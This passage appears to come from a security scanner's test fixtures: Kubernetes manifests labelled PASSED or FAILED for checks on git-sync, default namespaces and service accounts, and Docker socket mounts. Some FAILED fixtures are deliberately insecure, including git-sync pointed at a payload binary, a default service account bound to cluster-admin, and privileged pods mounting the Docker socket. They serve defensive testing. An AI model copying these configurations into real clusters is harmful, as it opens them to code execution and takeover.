fail-deployment namespace: default spec: replicas: 1 selector: matchLabels: name: blog template: metadata: labels: name: blog spec: containers: - name: git-sync image: registry.k8s.io/git-sync args: - -v=5 volumeMounts: - name: markdown mountPath: /tmp/git - name: test mountPath: /tmp/payload env: - name: GITSYNC_REPO value: https://github.com/foo/bar.git - name: GITSYNC_GIT value: /tmp/payload/payload volumes: - name: markdown emptyDir: {} - name: test emptyDir: {} ================================================ FILE: tests/kubernetes/checks/example_DangerousGitSync/Deployment-PASSED.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: blog-deployment-no-git-sync-git namespace: default spec: replicas: 1 selector: matchLabels: name: blog-no-git-sync-git template: metadata: labels: name: blog-no-git-sync-git spec: containers: - name: git-sync image: registry.k8s.io/git-sync args: - -v=5 volumeMounts: - name: markdown mountPath: /tmp/git - name: test mountPath: /tmp/payload env: - name: GITSYNC_REPO value: https://github.com/foo/bar.git volumes: - name: markdown emptyDir: {} - name: test emptyDir: {} ================================================ FILE: tests/kubernetes/checks/example_DangerousGitSync/Deployment2-FAILED.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: fail-deployment2 namespace: default spec: replicas: 1 selector: matchLabels: name: blog template: metadata: labels: name: blog spec: initContainers: - name: git-sync image: registry.k8s.io/git-sync args: - -v=5 volumeMounts: - name: markdown mountPath: /tmp/git - name: test mountPath: /tmp/payload env: - name: GITSYNC_REPO value: https://github.com/foo/bar.git - name: GITSYNC_GIT value: /tmp/payload/payload volumes: - name: markdown emptyDir: {} - name: test emptyDir: {} ================================================ FILE: tests/kubernetes/checks/example_DefaultNamespace/default-k8s-service-and-sa-PASSED2.yaml ================================================ apiVersion: v1 kind: ServiceAccount metadata: name: default namespace: default secrets: - name: default-token-tgp9r --- apiVersion: v1 kind: ServiceAccount metadata: name: default secrets: - name: default-token-tgp9r --- apiVersion: v1 kind: Service metadata: creationTimestamp: "2020-05-26T15:59:43Z" labels: component: apiserver provider: kubernetes name: kubernetes namespace: default resourceVersion: "148" selfLink: /api/v1/namespaces/default/services/kubernetes uid: 288b4e4d-9706-4780-b594-39f1abd2a715 spec: clusterIP: 172.20.0.1 ports: - name: https port: 443 protocol: TCP targetPort: 443 sessionAffinity: None type: ClusterIP status: loadBalancer: {} --- apiVersion: v1 kind: Service metadata: creationTimestamp: "2020-05-26T15:59:43Z" labels: component: apiserver provider: kubernetes name: kubernetes resourceVersion: "148" selfLink: /api/v1/namespaces/default/services/kubernetes uid: 288b4e4d-9706-4780-b594-39f1abd2a715 spec: clusterIP: 172.20.0.1 ports: - name: https port: 443 protocol: TCP targetPort: 443 sessionAffinity: None type: ClusterIP status: loadBalancer: {} ================================================ FILE: tests/kubernetes/checks/example_DefaultNamespace/nginx-statefulset-FAILED.yaml ================================================ apiVersion: v1 kind: Service metadata: name: nginx labels: app: nginx spec: ports: - port: 80 name: web clusterIP: None selector: app: nginx --- apiVersion: apps/v1 kind: StatefulSet metadata: name: web spec: selector: matchLabels: app: nginx # has to match .spec.template.metadata.labels serviceName: "nginx" replicas: 3 # by default is 1 template: metadata: labels: app: nginx # has to match .spec.selector.matchLabels spec: terminationGracePeriodSeconds: 10 containers: - name: nginx image: k8s.gcr.io/nginx-slim:0.8 ports: - containerPort: 80 name: web volumeMounts: - name: www mountPath: /usr/share/nginx/html volumeClaimTemplates: - metadata: name: www spec: accessModes: [ "ReadWriteOnce" ] storageClassName: "my-storage-class" resources: requests: storage: 1Gi ================================================ FILE: tests/kubernetes/checks/example_DefaultNamespace/scope-PASSED.yaml ================================================ apiVersion: v1 kind: List items: - apiVersion: v1 kind: Namespace metadata: name: weave annotations: cloud.weave.works/version: v1.0.0-269-gffdc830 - apiVersion: v1 kind: ServiceAccount metadata: name: weave-scope annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope namespace: weave - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: weave-scope annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope rules: - apiGroups: - '' resources: - pods verbs: - get - list - watch - delete - apiGroups: - '' resources: - pods/log - services - nodes - namespaces - persistentvolumes - persistentvolumeclaims verbs: - get - list - watch - apiGroups: - apps resources: - deployments - daemonsets - statefulsets verbs: - get - list - watch - apiGroups: - batch resources: - cronjobs - jobs verbs: - get - list - watch - apiGroups: - extensions resources: - deployments - daemonsets verbs: - get - list - watch - apiGroups: - apps resources: - deployments/scale verbs: - get - update - apiGroups: - extensions resources: - deployments/scale verbs: - get - update - apiGroups: - storage.k8s.io resources: - storageclasses verbs: - get - list - watch - apiGroups: - volumesnapshot.external-storage.k8s.io resources: - volumesnapshots - volumesnapshotdatas verbs: - list - watch - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: weave-scope annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope roleRef: kind: ClusterRole name: weave-scope apiGroup: rbac.authorization.k8s.io subjects: - kind: ServiceAccount name: weave-scope namespace: weave - apiVersion: apps/v1 kind: Deployment metadata: name: weave-scope-app annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope-app app: weave-scope weave-cloud-component: scope weave-scope-component: app namespace: weave spec: replicas: 1 revisionHistoryLimit: 2 selector: matchLabels: name: weave-scope-app app: weave-scope weave-cloud-component: scope weave-scope-component: app template: metadata: labels: name: weave-scope-app app: weave-scope weave-cloud-component: scope weave-scope-component: app spec: containers: - name: app args: - '--mode=app' command: - /home/weave/scope env: [] image: 'docker.io/weaveworks/scope:1.13.0' imagePullPolicy: IfNotPresent ports: - containerPort: 4040 protocol: TCP - apiVersion: v1 kind: Service metadata: name: weave-scope-app annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope-app app: weave-scope weave-cloud-component: scope weave-scope-component: app namespace: weave spec: ports: - name: app port: 80 protocol: TCP targetPort: 4040 selector: name: weave-scope-app app: weave-scope weave-cloud-component: scope weave-scope-component: app - apiVersion: apps/v1 kind: Deployment metadata: name: weave-scope-cluster-agent annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope-cluster-agent app: weave-scope weave-cloud-component: scope weave-scope-component: cluster-agent namespace: weave spec: replicas: 1 revisionHistoryLimit: 2 selector: matchLabels: name: weave-scope-cluster-agent app: weave-scope weave-cloud-component: scope weave-scope-component: cluster-agent template: metadata: labels: name: weave-scope-cluster-agent app: weave-scope weave-cloud-component: scope weave-scope-component: cluster-agent spec: containers: - name: scope-cluster-agent args: - '--mode=probe' - '--probe-only' - '--probe.kubernetes.role=cluster' - '--probe.http.listen=:4041' - '--probe.publish.interval=4500ms' - '--probe.spy.interval=2s' - 'weave-scope-app.weave.svc.cluster.local:80' command: - /home/weave/scope env: [] image: 'docker.io/weaveworks/scope:1.13.0' imagePullPolicy: IfNotPresent ports: - containerPort: 4041 protocol: TCP resources: requests: cpu: 25m memory: 80Mi serviceAccountName: weave-scope - apiVersion: apps/v1 kind: DaemonSet metadata: name: weave-scope-agent annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": "/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=", "date": "Fri May 01 2020 17:06:54 GMT+0000 (UTC)" }, "email-address": "support@weave.works" } labels: name: weave-scope-agent app: weave-scope weave-cloud-component: scope weave-scope-component: agent namespace: weave spec: minReadySeconds: 5 selector: matchLabels: name: weave-scope-agent app: weave-scope weave-cloud-component: scope weave-scope-component: agent template: metadata: labels: name: weave-scope-agent app: weave-scope weave-cloud-component: scope weave-scope-component: agent spec: containers: - name: scope-agent args: - '--mode=probe' - '--probe-only' - '--probe.kubernetes.role=host' - '--probe.publish.interval=4500ms' - '--probe.spy.interval=2s' - '--probe.docker.bridge=docker0' - '--probe.docker=true' - 'weave-scope-app.weave.svc.cluster.local:80' command: - /home/weave/scope env: [] image: 'docker.io/weaveworks/scope:1.13.0' imagePullPolicy: IfNotPresent resources: requests: cpu: 100m memory: 100Mi securityContext: privileged: true volumeMounts: - name: scope-plugins mountPath: /var/run/scope/plugins - name: sys-kernel-debug mountPath: /sys/kernel/debug - name: docker-socket mountPath: /var/run/docker.sock dnsPolicy: ClusterFirstWithHostNet hostNetwork: true hostPID: true tolerations: - effect: NoSchedule operator: Exists - effect: NoExecute operator: Exists volumes: - name: scope-plugins hostPath: path: /var/run/scope/plugins - name: sys-kernel-debug hostPath: path: /sys/kernel/debug - name: docker-socket hostPath: path: /var/run/docker.sock updateStrategy: type: RollingUpdate ================================================ FILE: tests/kubernetes/checks/example_DefaultServiceAccount/DefaultServiceAccount-FAILED.yaml ================================================ apiVersion: v1 kind: Namespace metadata: name: awesomeness --- apiVersion: v1 kind: ServiceAccount metadata: name: default namespace: awesomeness automountServiceAccountToken: true ================================================ FILE: tests/kubernetes/checks/example_DefaultServiceAccount/DefaultServiceAccount-FAILED2.yaml ================================================ apiVersion: v1 kind: Namespace metadata: name: awesomeness --- apiVersion: v1 kind: ServiceAccount metadata: name: default namespace: awesomeness ================================================ FILE: tests/kubernetes/checks/example_DefaultServiceAccount/DefaultServiceAccount-PASSED.yaml ================================================ apiVersion: v1 kind: Namespace metadata: name: awesomeness --- apiVersion: v1 kind: ServiceAccount metadata: name: notdefault namespace: awesomeness --- apiVersion: v1 kind: ServiceAccount metadata: name: default namespace: awesomeness automountServiceAccountToken: false ================================================ FILE: tests/kubernetes/checks/example_DefaultServiceAccountBinding/DefaultServiceAccountBinding-FAILED.yaml ================================================ apiVersion: v1 kind: Namespace metadata: name: whoa --- apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: namespace: whoa name: pod-reader rules: - apiGroups: [""] # "" indicates the core API group resources: ["pods"] verbs: ["get", "watch", "list"] --- apiVersion: rbac.authorization.k8s.io/v1 # This role binding allows the default service account to read pods in the "whoa" namespace. kind: RoleBinding metadata: name: read-pods namespace: whoa subjects: - kind: ServiceAccount name: default namespace: whoa roleRef: kind: Role name: pod-reader apiGroup: rbac.authorization.k8s.io --- apiVersion: rbac.authorization.k8s.io/v1 # This cluster role binding allows the default service account to be cluster-admin in any namespace. Doh! kind: ClusterRoleBinding metadata: name: destroy-k8s subjects: - kind: ServiceAccount name: default namespace: whoa roleRef: kind: ClusterRole name: cluster-admin apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/checks/example_DefaultServiceAccountBinding/DefaultServiceAccountBinding-PASSED.yaml ================================================ apiVersion: v1 kind: Namespace metadata: name: whoa --- apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: namespace: whoa name: pod-reader rules: - apiGroups: [""] # "" indicates the core API group resources: ["pods"] verbs: ["get", "watch", "list"] --- apiVersion: rbac.authorization.k8s.io/v1 # This role binding allows "jane" to read pods in the "whoa" namespace. kind: RoleBinding metadata: name: read-pods namespace: whoa subjects: - kind: User name: jane apiGroup: rbac.authorization.k8s.io roleRef: kind: Role name: pod-reader apiGroup: rbac.authorization.k8s.io --- apiVersion: v1 kind: ServiceAccount metadata: name: supercool namespace: whoa --- apiVersion: rbac.authorization.k8s.io/v1 # This role binding allows the supercool service account to read pods in the "whoa" namespace. kind: RoleBinding metadata: name: read-pods2 namespace: whoa subjects: - kind: ServiceAccount name: supercool namespace: whoa roleRef: kind: Role name: pod-reader apiGroup: rbac.authorization.k8s.io --- apiVersion: rbac.authorization.k8s.io/v1 # This cluster role binding allows anyone in the "manager" group to read secrets in any namespace. kind: ClusterRoleBinding metadata: name: read-secrets-global subjects: - kind: Group name: manager # Name is case sensitive apiGroup: rbac.authorization.k8s.io roleRef: kind: ClusterRole name: secret-reader apiGroup: rbac.authorization.k8s.io ================================================ FILE: tests/kubernetes/checks/example_DockerSocketVolume/CronJob-pass.yaml ================================================ apiVersion: v1 kind: CronJob metadata: labels: name: nginx-pod name: nginx-pod spec: jobTemplate: spec: null ================================================ FILE: tests/kubernetes/checks/example_DockerSocketVolume/cloudwatch-agent-1PASSED-1FAILED.yaml ================================================ --- apiVersion: v1 data: # The below configuration file is in JSON format. # Please ensure you keep it well-formed if you modify it. cwagentconfig.json: | { "logs": { "metrics_collected": { "kubernetes": { "cluster_name": "eks1", "metrics_collection_interval": 60 } }, "force_flush_interval": 5 } } kind: ConfigMap metadata: name: cwagentconfig namespace: amazon-cloudwatch --- apiVersion: apps/v1 kind: DaemonSet metadata: name: cloudwatch-agent namespace: amazon-cloudwatch spec: selector: matchLabels: name: cloudwatch-agent template: metadata: labels: name: cloudwatch-agent spec: containers: - name: cloudwatch-agent image: amazon/cloudwatch-agent:latest imagePullPolicy: Always #ports: # - containerPort: 8125 # hostPort: 8125 # protocol: UDP resources: limits: cpu: 200m memory: 200Mi requests: cpu: 200m memory: 200Mi # Please don't change below envs env: - name: HOST_IP valueFrom: fieldRef: fieldPath: status.hostIP - name: HOST_NAME valueFrom: fieldRef: fieldPath: spec.nodeName - name: K8S_NAMESPACE valueFrom: fieldRef: fieldPath: metadata.namespace # Please don't change the mountPath volumeMounts: - name: cwagentconfig mountPath: /etc/cwagentconfig - name: rootfs mountPath: /rootfs readOnly: true - name: dockersock mountPath: /var/run/docker.sock readOnly: true - name: varlibdocker mountPath: /var/lib/docker readOnly: true - name: sys mountPath: /sys readOnly: true - name: devdisk mountPath: /dev/disk readOnly: true volumes: - name: cwagentconfig configMap: name: cwagentconfig - name: rootfs hostPath: path: / - name: dockersock hostPath: path: /var/run/docker.sock - name: varlibdocker hostPath: path: /var/lib/docker - name: sys hostPath: path: /sys - name: devdisk hostPath: path: /dev/disk/ terminationGracePeriodSeconds: 60 serviceAccountName: cloudwatch-agent --- apiVersion: v1 kind: ServiceAccount metadata: name: cloudwatch-agent namespace: amazon-cloudwatch --- kind: ClusterRole apiVersion: rbac.authorization.k8s.io/v1 metadata: name: cloudwatch-agent-role rules: - apiGroups: [""] resources: ["pods", "nodes", "endpoints"] verbs: ["list", "watch"] - apiGroups: ["apps"] resources: ["replicasets"] verbs: ["list", "watch"] - apiGroups: ["batch"] resources: ["jobs"] verbs: ["list", "watch"] - apiGroups: [""] resources: ["nodes/proxy"] verbs: ["get"] - apiGroups: [""] resources: ["nodes/stats", "configmaps", "events"] verbs: ["create"] - apiGroups: [""] resources: ["configmaps"] resourceNames: ["cwagent-clusterleader"] verbs: ["get","update"] --- kind: ClusterRoleBinding apiVersion: rbac.authorization.k8s.io/v1 metadata: name: cloudwatch-agent-role-binding subjects: - kind: ServiceAccount name: cloudwatch-agent namespace: amazon-cloudwatch roleRef: kind: ClusterRole name: cloudwatch-agent-role apiGroup: rbac.authorization.k8s.io --- apiVersion: v1 data: cluster.name: eks1 logs.region: us-west-2 # The below configuration file is in JSON format. # Please ensure you keep it well-formed if you modify it. cluster-info.json: | { "cluster": { "name": "eks1" }, "logs": { "region": "us-west-2" } } kind: ConfigMap metadata: name: cluster-info namespace: amazon-cloudwatch --- apiVersion: v1 kind: ConfigMap metadata: name: fluentd-config namespace: amazon-cloudwatch labels: k8s-app: fluentd-cloudwatch data: fluent.conf: | @include containers.conf @include systemd.conf @include host.conf @type null containers.conf: | @type tail @id in_tail_container_logs @label @containers path /var/log/containers/*.log pos_file /var/log/fluentd-containers.log.pos tag * read_from_head true @type json time_format %Y-%m-%dT%H:%M:%S.%NZ systemd.conf: | @type systemd @id in_systemd_kubelet @label @systemd filters [{ "_SYSTEMD_UNIT": "kubelet.service" }] field_map {"MESSAGE": "message", "_HOSTNAME": "hostname", "_SYSTEMD_UNIT": "systemd_unit"} field_map_strict true path /var/log/journal pos_file /var/log/fluentd-journald-kubelet.pos read_from_head true tag kubelet.service @type systemd @id in_systemd_kubeproxy @label @systemd filters [{ "_SYSTEMD_UNIT": "kubeproxy.service" }] field_map {"MESSAGE": "message", "_HOSTNAME": "hostname", "_SYSTEMD_UNIT": "systemd_unit"} field_map_strict true path /var/log/journal pos_file /var/log/fluentd-journald-kubeproxy.pos read_from_head true tag kubeproxy.service @type systemd @id in_systemd_docker @label @systemd filters [{ "_SYSTEMD_UNIT": "docker.service" }] field_map {"MESSAGE": "message", "_HOSTNAME": "hostname", "_SYSTEMD_UNIT": "systemd_unit"} field_map_strict true path /var/log/journal pos_file /var/log/fluentd-journald-docker.pos read_from_head true tag docker.service host.conf: | @type tail @id in_tail_dmesg @label @hostlogs path /var/log/dmesg pos_file /var/log/dmesg.log.pos tag host.dmesg read_from_head true @type syslog @type tail @id in_tail_secure @label @hostlogs path /var/log/secure pos_file /var/log/secure.log.pos tag host.secure read_from_head true @type syslog @type tail @id in_tail_messages @label @hostlogs path /var/log/messages pos_file /var/log/messages.log.pos tag host.messages read_from_head true @type syslog --- apiVersion: extensions/v1beta1 kind: DaemonSet metadata: name: fluentd-cloudwatch namespace: amazon-cloudwatch labels: k8s-app: fluentd-cloudwatch spec: template: metadata: labels: k8s-app: fluentd-cloudwatch annotations: configHash: 8915de4cf9c3551a8dc74c0137a3e83569d28c71044b0359c2578d2e0461825 spec: serviceAccountName: fluentd terminationGracePeriodSeconds: 30 # Because the image's entrypoint requires to write on /fluentd/etc but we mount configmap there which is read-only, # this initContainers workaround or other is needed. # See https://github.com/fluent/fluentd-kubernetes-daemonset/issues/90 initContainers: - name: copy-fluentd-config image: busybox command: ['sh', '-c', 'cp /config-volume/..data/* /fluentd/etc'] volumeMounts: - name: config-volume mountPath: /config-volume - name: fluentdconf mountPath: /fluentd/etc - name: update-log-driver image: busybox command: ['sh','-c',''] containers: - name: fluentd-cloudwatch image: fluent/fluentd-kubernetes-daemonset:v1.3.3-debian-cloudwatch-1.4 env: - name: REGION valueFrom: configMapKeyRef: name: cluster-info key: logs.region - name: CLUSTER_NAME valueFrom: configMapKeyRef: name: cluster-info key: cluster.name resources: limits: memory: 200Mi requests: cpu: 100m memory: 200Mi volumeMounts: - name: config-volume mountPath: /config-volume - name: fluentdconf mountPath: /fluentd/etc - name: varlog mountPath: /var/log - name: varlibdockercontainers mountPath: /var/lib/docker/containers readOnly: true - name: runlogjournal mountPath: /run/log/journal readOnly: true - name: dmesg mountPath: /var/log/dmesg readOnly: true volumes: - name: config-volume configMap: name: fluentd-config - name: fluentdconf emptyDir: {} - name: varlog hostPath: path: /var/log - name: varlibdockercontainers hostPath: path: /var/lib/docker/containers - name: runlogjournal hostPath: path: /run/log/journal - name: dmesg hostPath: path: /var/log/dmesg --- apiVersion: v1 kind: ServiceAccount metadata: name: fluentd namespace: amazon-cloudwatch --- apiVersion: rbac.authorization.k8s.io/v1beta1 kind: ClusterRole metadata: name: fluentd-role rules: - apiGroups: [""] resources: - namespaces - pods - pods/logs verbs: ["get", "list", "watch"] --- apiVersion: rbac.authorization.k8s.io/v1beta1 kind: ClusterRoleBinding metadata: name: fluentd-role-binding roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: fluentd-role subjects: - kind: ServiceAccount name: fluentd namespace: amazon-cloudwatch ================================================ FILE: tests/kubernetes/checks/example_DockerSocketVolume/scope-2PASSED-1FAILED.yaml ================================================ apiVersion: v1 kind: List items: - apiVersion: v1 kind: Namespace metadata: name: weave annotations: cloud.weave.works/version: v1.0.0-269-gffdc830 - apiVersion: v1 kind: ServiceAccount metadata: name: weave-scope annotations: cloud.weave.works/launcher-info: |- { "original-request": { "url": 